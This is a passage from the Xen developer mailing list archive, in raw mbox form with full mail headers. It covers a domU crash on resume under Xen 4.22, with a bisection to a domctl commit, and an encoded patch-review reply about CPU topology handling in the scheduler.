> > > >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de4 RCX:=
 0000000000000404
> > > >     [   24.375142] RDX: 0000000000000040 RSI: ffffffffffffffff RDI:=
 0000000000770ef0
> > > >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc80 R09:=
 ffffc900000abc8c
> > > >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc0 R12:=
 ffffffff81835ac0
> > > >     [   24.375184] R13: 0000000000000000 R14: 0000000000000000 R15:=
 0000000000000000
> > > >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b369000(=
0000) knlGS:0000000000000000
> > > >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > > >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2002 CR4:=
 0000000000770ef0
> > > >     [   24.375241] PKRU: 00000000
> > > >     [   24.375247] Kernel panic - not syncing: Fatal exception
> > > >     [   25.417403] Shutting down cpus with NMI
> > > >     [   25.417447] Kernel Offset: disabled
> > > >
> > > > There is no change on the Linux kernel side (neither dom0 nor domU)=
, the
> > > > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be already
> > > > broken on -rc1 too). This happens for both HVM and PVH domains. Hav=
en't
> > > > tried PV domU (but dom0 survives host suspend).
> > >
> > > Any ideas?
> > >
> >=20
> > Hi,
> >    not many ideas but while testing my libxenguest changes I found
> > similar failures using xl create/save/restore. But I was testing more
> > PV guests.
> > Does 4.21 work ?
>=20
> It seems 4.21 also has this issue:
> https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414211523
> But 4.20 is okay:
> https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/15414227095
>=20
> I guess I can bisect it further.

So, bisect says the first bad commit is:

    commit 9f892f84c27970840d255aef7e2851b762967de7
    Author: Andrew Cooper <andrew.cooper3@citrix.com>
    Date:   Mon Dec 30 11:49:14 2024 +0000

        x86/domctl: Stop using XLAT_cpu_user_regs()

My test isn't 100% reliable, but I retested parent of this commit a
couple of times and it was good every time.

I wanted to test reverting it on top of 4.21, but there is a lot of
FRED-related work on top that makes such revert quite hard, to say the
least...

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--ueeXD7YG02vtiuxW
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpcL58ACgkQ24/THMrX
1yy+sggAjd2PFsZHIBLvDDp5Xe4aTHMCLoKghK94qix24gUr9XsWVNAfrVeVLyEf
NF/4e7dOFpM2KGkUGRBBfhTHOOTsVjzeDQbUlVqfoEnGRbw5ywOQmWwzC6GXpTV8
e3IM1/5g2x51JDwNqBJi3wGbKqlx+n1Z5FiwthG7FlZttL3oXd/k9v1Sau2UVGcC
3T4p4koAnKNh/kqfUKIt+ineJVjHqVktI/3Rf9OKDRum+SWqfq1qp2vaHVgAYvrq
U7lgbZkz2VaRo000QdFZXEIOlk9A+svhdYGmocey2gnoFfqkvyofuTS+TXgoHElH
u9gSlRVuDAerHcm+2Bb9Ul0+SvVVUQ==
=nezp
-----END PGP SIGNATURE-----

--ueeXD7YG02vtiuxW--


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 02:15:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 02:15:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365771.1615965 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlH3x-0008Rt-QO; Sun, 19 Jul 2026 02:15:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365771.1615965; Sun, 19 Jul 2026 02:15:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlH3x-0008Rm-N4; Sun, 19 Jul 2026 02:15:29 +0000
Received: by outflank-mailman (input) for mailman id 1365771;
 Sun, 19 Jul 2026 02:15:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlH3v-0008Rf-4q
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 02:15:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlH3t-00D4nr-VD
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 04:15:25 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5c32c7-2eae-0a2a0a5409dd-0a2a45049e6e-22
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 04:15:25 +0200
Received: from [52.101.125.140]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5c3335-b57f-0a2a45040019-34657d8c61e2-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 04:15:20 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS7P286MB6383.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:423::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.14; Sun, 19 Jul
 2026 02:15:14 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.012; Sun, 19 Jul 2026
 02:15:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=LknGb/qyf5vBOd1fCk9UazlRtpVRl8+cfVXgw4Wk4Xjd3wJq83VwN7/jRojWf8NVhY81e9Ayr91FbJorZsKt+HWb/09Qje0pct3WoxKDpjk1GHVX2vGzDbbnkDm4f+MBa8/JWHlvl/0Xv9wgnJPcvYpoWGzx0F21whwRg0A6V9eyyRMPmGGYsTxRrl/D2r4+7TT2yc4MDHHpKrI96XH6Ji5xMnXbCXfm78VUIGFlV4038T5QFiryXfyu4J8GEMCAtx82WsZjfOYVfUPRrV8e+kgJa/NRim2F8cBjTAk+WF9uUgoSEwvaG8AYoLZmwRcuzsQ5hwyVVXOPmdKIoEq5NQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=oM/FaKbIxlxUpyXSIcvmURf3x0q+w1RIkxcerdwIumU=;
 b=dPOyzkyXCjtflsYxfseD1y76rSA37x1JEBhqfU56nJBDZQooU+95KTrSFM9sXPYuKiK3tjNl3mVtNOAbinjMOPoWjqmLzwt4RtWbhT1cY1m7IYWOZJNMA216Oqg+A1TvJzjfVtU5ZHDOLUu0qaQvw9vHsJcIa7R751AZYAgx2vhsenegHHUCYhK7oW3xbRjbsBrU7eiDAd4v32GoQuWS9RH8N9pyd4YIT1Oi4SEImW6kynwrC59J6GjzHVIgaKoG4Qb2G/EiFaT3A04yWG9OzROU1LWgOE0URYVgOA6/DFxw5okjfNd3kqJDPnfjCZgrsLCcXJFbuKMJA2GDAqb+jQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=oM/FaKbIxlxUpyXSIcvmURf3x0q+w1RIkxcerdwIumU=;
 b=TPRt7KGgB1pV4bL9wMzAMAOee71Sjw4LhYG/j83YmYEwwZmsby54mRQPoMsi2yd7IwY+Acwk2Pl04hgM+R2O2bDb6zXcx+iqt0BegXwp71AkFjK8XuwQqyjHOws9O2PN8zeuLzlCiBeyBGESxJv2XBcHVrx5eu1TXzZFSz4Ebmo=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>, Timothy Pearson
	<tpearson@raptorengineering.com>, Alistair Francis
	<alistair.francis@wdc.com>, Connor Davis <connojdavis@gmail.com>, Oleksii
 Kurochko <oleksii.kurochko@gmail.com>, Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>, George Dunlap <gwd@xenproject.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 2/5] xen/sched: Link CPU topology to scheduler
Thread-Topic: [PATCH v6 2/5] xen/sched: Link CPU topology to scheduler
Thread-Index: AQHdE33qeUxN/5yCh0euzob8dSpsrLZwJoMAgAP6kJA=
Date: Sun, 19 Jul 2026 02:15:14 +0000
Message-ID:
 <OS9P286MB7222280112643BF8873CCB0082C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-3-taka@valinux.co.jp>
 <f4c13b73-719f-4d3f-be60-803fff8d0893@suse.com>
In-Reply-To: <f4c13b73-719f-4d3f-be60-803fff8d0893@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|OS7P286MB6383:EE_
x-ms-office365-filtering-correlation-id: 58a827e4-51e2-431f-1b00-08dee53b91da
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|23010399003|1800799024|366016|38070700021|56012099006|4143699003|10067099003|22082099003|18002099003;
x-microsoft-antispam-message-info:
 oOO2pcl5qyFwhktwIhnSkYTbj9QsASFEJgD0QkWtIbrAMO1ZIxVlJEWeTquLx9MuKyf3iJ0vIymur8u3Ij8mfBwmUEkEbkvaxMzgZkL/KqMh9oe4slUs9O4sJgqtWzXYarage5KJ8a7ENKRFOytNxnjKVDE+rjyQyA6Ey6nb81IXreoZqxw+MyvukChGx3rDniXA9YIeVAWrPGeFHJJuwxVkgBoOePbM6YhJuunYJ8I+5W/a1fD+GZWS4bdH5hFeVIr3tEx8EA2oBqlL2cdEH+a3NeM86tasUaKZCQ/fJH0DlbbV4Y1i4Tzda8q/oPTosihgnTeW/OzKqfA4NeCazSt6PERrT8Vpqzt3kwKGb7k4Z6O0D9LedOMJGmU6I/AphOL2Wxvyy+/92MrQnGx+TkYcl2/sdul7b4rqr/8/5PPgcu7NJnjs1fl0SbqJz3/h94Ng0w7Uvoaz8crM0Qztdb9zG31NzrOGiuJLYyoZiHQ7y+L9vnx77lr9Cs+6VnmYRg2strnzzLapwTQv2x+Klw8bRWlf73DoxZH1ywDZdkA+d3h8UBgO1sdW8mCvTiiRIPZ24133YIP/XU5zRlHrZFyAIx6ud1OGRLHXtJ9XW17bp3uk+pxesj2W6CiY4HbCFiieu6LRkFMisFH0OGTd8MzGxd1vqzHTtiuea7MOS2UIYXxQ547wmLV0zun3YwTVoTDiK9Gi1qr12nHXV5jmVgu/QVMU79e9U7MSlD/E1TY=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(23010399003)(1800799024)(366016)(38070700021)(56012099006)(4143699003)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?TXNsQ1B2RHBuUURNRUo3Z3hJNmlQM1JWNVpSek1lN2NXcmIxaUV4d00rcU92?=
 =?utf-8?B?azUzRi9McDFIQUlBWWUxNjQzdDg1VHhVbTVCN3VKUlRMNWNhaGZMVkppTmI0?=
 =?utf-8?B?WFBmY2hkcVhqMTlXTU1SUjl1bGdmbkVvbk84aFJNL09JVThXS0pVWHorc2lW?=
 =?utf-8?B?aEMxMnpUZHRMVXJnbHlQLzBQVTZ3T3JWUmNrdVlFNDhpaHR4UjhLNEkyaGhC?=
 =?utf-8?B?dWxFMDYrV3Buc2NjSjAvT09pN2p2TlB0U0RTYjROemZoUzJmWHJLRUNmdWpl?=
 =?utf-8?B?NVdUUGxvVWZLYUJKWGZlUkV0eXBEKzdHNFQwQ0JXYUZEV3h6VmJXTFUrSkkw?=
 =?utf-8?B?QlFSQ29YUitVOXpNOENTQzlXWXVBa3R5Y3luZythTEhsUkF5Qjl5eDZFdndX?=
 =?utf-8?B?NS9Oa1U4RWw3NVFSQ3RiQnNaVm5kZlNpNmxWdnhWSG9rQlRDOEI4eEdld2FT?=
 =?utf-8?B?Qmd2S2ViN1NTRFNCSzFzeVN6cHBVRFgrNEY2b0FmckpIcWJ3SFJUdHZBcnlH?=
 =?utf-8?B?c0pJcHlyYUdMYmZlaG9nQitiVndia1lpcnI5bitZeVdwTE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+ugHHdYwJ?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: 58a827e4-51e2-431f-1b00-08dee53b91da
X-MS-Exchange-CrossTenant-originalarrivaltime: 19 Jul 2026 02:15:14.5540
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: P2qZaHMaQeizOqH9OJUgAZO912viwg0lMZKsLpPu6JvIQkFVhRFQz6Malz52W8O7KpE41xU8hqmbt7Nx7iPUGQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB6383
X-purgate-ID: tlsNG-ebf023/1784427325-50CDFB50-10A89AE1/0/0
X-purgate-type: clean
X-purgate-size: 3610

SGkgSmFuLA0KDQo+ID4gIHN0YXRpYyB1bnNpZ25lZCBpbnQgY3B1X25yX3NpYmxpbmdzKHVuc2ln
bmVkIGludCBjcHUpDQo+ID4gIHsNCj4gPiAtI2lmZGVmIENPTkZJR19YODYNCj4gPiArI2lmIGRl
ZmluZWQoQ09ORklHX0dFTkVSSUNfQ1BVX1RPUE9MT0dZKQ0KPiA+ICsgICAgcmV0dXJuIGNwdV90
b3BvbG9neSA/IGNwdV90b3BvbG9neVtjcHVdLm51bV9zaWJsaW5ncyA6IDE7DQo+ID4gKyNlbGlm
IGRlZmluZWQoQ09ORklHX1g4NikNCj4gPiAgICAgIHJldHVybiBjcHVfZGF0YVtjcHVdLng4Nl9u
dW1fc2libGluZ3M7DQo+ID4gICNlbHNlDQo+ID4gICAgICByZXR1cm4gMTsNCj4gDQo+IE5vdyB0
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z
aWJsaW5nX21hcF9kZWZhdWx0KGNwdSk7DQo+ID4gK30NCj4gDQo+IC4uLiB0aGlzLiBJbW8gaXQg
d291bGQgYmV0dGVyIGJlDQo+IA0KPiBzdGF0aWMgaW5saW5lIHZvaWQgaW5pdF9jcHVfc2libGlu
Z19tYXAodW5zaWduZWQgaW50IGNwdSkNCj4gew0KPiAgICAgaWYgKCBJU19FTkFCTEVEKENPTkZJ
R19HRU5FUklDX0NQVV9UT1BPTE9HWSkgJiYgY3B1X3RvcG9sb2d5ICkNCj4gICAgIHsNCj4gICAg
ICAgICBjcHVtYXNrX2NvcHkocGVyX2NwdShjcHVfc2libGluZ19tYXNrLCBjcHUpLA0KPiAgICAg
ICAgICAgICAgICAgICAgICBjcHVfdG9wb2xvZ3lbY3B1XS50aHJlYWRfc2libGluZyk7DQo+ICAg
ICAgICAgY3B1bWFza19jb3B5KHBlcl9jcHUoY3B1X2NvcmVfbWFzaywgY3B1KSwNCj4gICAgICAg
ICAgICAgICAgICAgICAgY3B1X3RvcG9sb2d5W2NwdV0uY29yZV9zaWJsaW5nKTsNCj4gICAgIH0N
Cj4gICAgIGVsc2UNCj4gICAgICAgICBpbml0X2NwdV9zaWJsaW5nX21hcF9kZWZhdWx0KGNwdSk7
DQo+IH0NCg0KT2theSwgSSB3aWxsIHVzZSB0aGlzIGFwcHJvYWNoLg0KIA0KPiBXaGljaCB0aGVu
IG9mIGNvdXJzZSByZXF1aXJlcyB0aGUgZGVjbCBvZiBjcHVfdG9wb2xvZ3kgKG5vdCBpdHMgZGVm
aW5pdGlvbikgdG8NCj4gYWx3YXlzIGJlIHZpc2libGUuDQoNClRoYW5rIHlvdSwNCkhpcm9rYXp1
IFRha2FoYXNoaS4NCg==


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 07:32:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 07:32:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365826.1615974 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlM02-00030l-RP; Sun, 19 Jul 2026 07:31:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365826.1615974; Sun, 19 Jul 2026 07:31:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlM02-00030e-On; Sun, 19 Jul 2026 07:31:46 +0000
Received: by outflank-mailman (input) for mailman id 1365826;
 Sun, 19 Jul 2026 07:31:46 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wlM01-00030Y-QK
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 07:31:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlM01-006ufg-7I
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 09:31:45 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5c7d16-2eae-0a2a0a5409dd-0a2a4501bb96-48
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 09:31:45 +0200
Received: from [74.125.224.50] (helo=mail-yx1-f50.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5c7d5f-5984-0a2a45010019-4a7de032cc55-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 09:31:44 +0200
Received: by mail-yx1-f50.google.com with SMTP id
 956f58d0204a3-668296d0ff3so3700618d50.0
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 00:31:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784446303; cv=none;
        d=google.com; s=arc-20260327;
        b=VHMBT4zqUfv9QOc5VgY1tFtlPBXuoClDvlzSBBTrwj+1GcBmECKdFjp7/GuzwaclrG
         wJzRrN8W2iPEu05jrlKmxMMPtOJgzeKfWJ5A3mDFVkEl3uazlhJKZM98dJey4WDbRhIr
         P9/k7KHwZjjXQiU7QqVyyfoRM8kCmBWq3WquNNLLHsfXrn8DYiBewaWQPLYwWc7GBzWQ
         yJX0PI5gT8RxGimuxCriUjk3rciFKNeL/qcaHiyrUG5oFfrZZJftZwJIJwi6v3dCBb2+
         T5yDxMu5/y2s+FLCECiT7uEEHWSR43eyrhNktjref9K3nVQmMpvP6Bg3vCDNupioyOGf
         BZ+Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=yXhVGLrq8BbOV499aq5difJP2J7h0KknahtbRk8BpgU=;
        fh=xICrRNGL1/wiAEX7CoGX/RRRWm4TcI+zcC/u/Ri/Jas=;
        b=lbAlrqQSgtOGOSETIvjQJy77C3/sT9FlIi4K0w8M37AbCzIgc57cNTNo4AaJyKq8zz
         Knw7KojqG0cj2gZ3Bi72QRWGtwPI2pHvHgsz7pX8P4wm8BjEVGYXjLT1AUrEoslHym0E
         jLTT6uMjyvJkfBwISHvZ4SFhJcm2Yw0dh4mqvB0bqovXqvFMMHwvnG3Un0hGlhY4lzbf
         pehJ4n41tUbApQJ7lMVvTH37ATqesJIqG9NUQlNZT8femeQvtxJ5p7zGCSKUCMNln+LI
         7weGkZ4vabSMnP7qJdIpGMfyOHbldBeQWkfVCtWvePzoHED2kDLDiw+4ifcJLfCshQEa
         bgcw==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784446303; x=1785051103; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=yXhVGLrq8BbOV499aq5difJP2J7h0KknahtbRk8BpgU=;
        b=Zid2Bpg9ke5dXnIVYg2KCeHc8uKstePGb0UVYvW5j4ABG6QfN2BsnHIxhjRLQhy3k1
         S3gK7mmuDzgO8/DZwuj32+o7roh7d5bb0cTe1Nny1HoYXtdDT1sbxy01yFbB7F39tAay
         Tcr/uv//bNcmpxhNu2xIpQwlVnj2NGct/MydI1ptfZWhl7dV2r5jeSxwR/X5lVxUDEMa
         SwzWsZPpU9mgVnDu4cfOlNLeIgG0WOn8bs91cI4KgzOfCR7Z4Aj8nVKnPbO0aE4y8Q2a
         3MAikzqlFRcM2VDQw7vV6uAjKRLunh9jpnDOL2KBWpxyY3a8QgHtStLIVfU2OIGzoy2P
         iMPw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784446303; x=1785051103;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=yXhVGLrq8BbOV499aq5difJP2J7h0KknahtbRk8BpgU=;
        b=JGZWNcjFCkZnyf4p7wH9viGj42lMrfT+2v4XFSAxAMOuoUh4PutD2RhHGKR0DzxHps
         GuMYYAR4pAfSk8HfgEei2yktB8teS9tHTeVqRCz2cYBFZOgv+ViUzsWDHT7OC84wO1xY
         8Y03secrNJV7IY+ln47tyw6+2kJwmFrknYQIAnCIooywORmMXWhFjgZ5lvQx9AsD3Tx8
         l9uvQ75511C/BYDzpK8Rd+hWMMMCeH0G2TzgGDzBbdc1PNyinkme4A7GygZV/gUF7Z2W
         Zadqc8uRmQcyh15zdhfNFQE9Z8peoSO4TEBQYySh0IZ0I0Okbu5xM/MPuEUsluzDfxoS
         ndhw==
X-Gm-Message-State: AOJu0Yx28ZpFI5/Yc05qJ/8W/UmORinW28oJX13BBU0QDmHKUfXzKIJM
	PkW54VDTTCseHSdFS+9nF0VUNAD3f1FmisNKkyaZycv4orFNCHCD6KyWWPyIJ6ZC3DCzPNG6XTE
	wMfT7KOlRYzZm6CxKUBVY2d9sG09pwP0=
X-Gm-Gg: AfdE7cmm1RdF+E+8MFUINZZeoK3rV/UQiXeFpV8BcjqukKvi20T+VF+3mmQmAis0mtu
	Ms8H3A6GW1KHp+vMJENv5NqhP3wyO4SbIiScLae/T4Vv7nAoVgZlCJr3LXRbUM4ptZ0oMXg7zLW
	sGy3bbcHWL3IUeFCqvhRF1zZxdidfdOck7wUzN2kJRXWZ2XacVVWhz/KhXVDNnBYb5gKTL1eO6x
	s7fT4eHLdbo5VTEePHZAiwc29Izf1vPGAatpuwRydLLrJVoZRgf2z1GJYDlLKyLOAf1U7T4fsax
	TxVARyonF33hmHAeYQ==
X-Received: by 2002:a53:edcc:0:b0:667:b503:4d2e with SMTP id
 956f58d0204a3-6683bb0bb22mr2198558d50.37.1784446303394; Sun, 19 Jul 2026
 00:31:43 -0700 (PDT)
MIME-Version: 1.0
References: <ajUm2SQtMD6Y-K9S@mail-itl> <alZt_boT-hJuVlD6@mail-itl>
 <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
 <aluHsZA0hK8FcKnM@mail-itl> <alwvn_K_miQgiiIf@mail-itl>
In-Reply-To: <alwvn_K_miQgiiIf@mail-itl>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Sun, 19 Jul 2026 08:31:28 +0100
X-Gm-Features: AUfX_mzFyfEnSO35C8y3ZvptCsQMwNK7aGNTOym53mEaG6YSKQNCUZjQgY6qB4E
Message-ID: <CAHt6W4cyDAsTyOcPLcR2STQyhpkNe5W+to3JRn0yWnm3J9VF+w@mail.gmail.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
To: =?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>, 
	Andrew Cooper <andrew.cooper3@citrix.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-d62444/1784446305-BEC61757-CBCA5DDA/0/0
X-purgate-type: clean
X-purgate-size: 8029

On Sun, 19 Jul 2026 at 03:00, Marek Marczykowski-G=C3=B3recki
<marmarek@invisiblethingslab.com> wrote:
>
> On Sat, Jul 18, 2026 at 04:03:29PM +0200, Marek Marczykowski-G=C3=B3recki=
 wrote:
> > On Fri, Jul 17, 2026 at 09:22:47PM +0100, Frediano Ziglio wrote:
> > > On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
> > > <marmarek@invisiblethingslab.com> wrote:
> > > >
> > > > On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=C3=
=B3recki wrote:
> > > > > Hi,
> > > > >
> > > > > I'm continuing testing 4.22 and found this:
> > > > >
> > > > > When a domU is suspended (even without host suspend) it crashes o=
n
> > > > > resume with:
> > > > >
> > > > >     [   24.374629] BUG: kernel NULL pointer dereference, address:=
 0000000000000020
> > > > >     [   24.374647] #PF: supervisor read access in kernel mode
> > > > >     [   24.374657] #PF: error_code(0x0000) - not-present page
